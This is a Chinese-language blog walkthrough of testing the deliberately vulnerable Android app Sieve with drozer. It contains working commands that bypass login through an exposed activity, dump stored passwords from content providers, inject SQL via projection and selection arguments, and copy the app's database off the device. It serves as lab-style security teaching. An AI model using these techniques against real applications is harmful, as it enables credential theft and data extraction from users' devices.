Drozer实践之sieve

  1. 在模拟器中打开drozer agent

     
     

  2. 启动连接drozer
    adb connect 127.0.0.1:xxxxx //adb连接设备,只有模拟器才需要这一步,不同模拟器端口不同
    adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务
    drozer console connect //连接drozer

 
 

3.使用“app.package.list”命令来查找筛子的标识符:
dz> run app.package.list -f sieve //搜索特定的包名
com.mwr.example.sieve

 
 
4.使用“app.package.info”命令提供有关包的一些基本信息:
dz> run app.package.info -a com.mwr.example.sieve
展示了应用程序的一些详细信息,包括版本、应用程序在设备上保存数据的位置、安装位置以及应用程序允许的权限的详细信息。


 
 5. 识别攻击面:
dz> run app.package.attacksurface com.mwr.example.sieve

服务是可调试的,可以使用adb将调试器附加到进程,并单步执行代码。
 
 
6. 显示暴露的Activity信息
dz> run app.activity.info -a com.mwr.example.sieve

 
 
7. 生成intent启动activity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList


 
 
在后台制定一个适当的Intent,并通过startActivity调用将其传递给系统。
成功绕过了授权,并获得了用户凭据列表:

 
 
 
 8. app.activity.start的更多选项

dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]

 
 
9. 测试Content Provider (可能造成数据库泄漏

run app.provider.info -a com.mwr.example.sieve //获得更多Content Provider信息

 
 

drozer扫描器模块 汇集了各种猜测路径的方法,并预测可访问内容URI的列表:
dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
dz> run app.provider.finduri com.mwr.example.sieve //枚举uri

 
 
使用其他drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:
dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/
//获取数据库数据,即用户列表和之前保存的账号密码等信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
//竖直显示数据库数据

 
 
10. 测试Content Provider SQL注入问题
//dz> run scanner.provider.injection -a com.mwr.example.sieve
//检测可利用uri,检查sql注入

 
 
利用暴露的content provider进行sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"
//数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

 
 
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "
//使用sql注入列出数据库中的所有数据表

 
 
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
//查询其他数据表

(Android操作系统默认使用SQLite数据库存储用户数据,SQLite数据库支持SQL语句,可以使用--projection参数和--seleciton参数传递一些简单的SQL注入语句到Content provider)
 
 
 
 
11. 从File System-backed Content Providers获取信息
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
根据应用程序数据目录路径 获得更多敏感信息
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts

 
 
//下载指定文件到指定目录
windows下不建议指定目录,会有问题,直接下到drozer的主目录下

 
 
eg: dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/com.mwr.example.sieve/databases/database.db /home/user/database.db
//将应用程序的数据库从设备复制到本地计算机
 
 
12. drozer自动测试漏洞模块
dz> run scanner.provider.injection -a com.mwr.example.sieve

 
 
 
 

posted on   Mario24678  阅读(53)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

统计

点击右上角即可分享
微信分享提示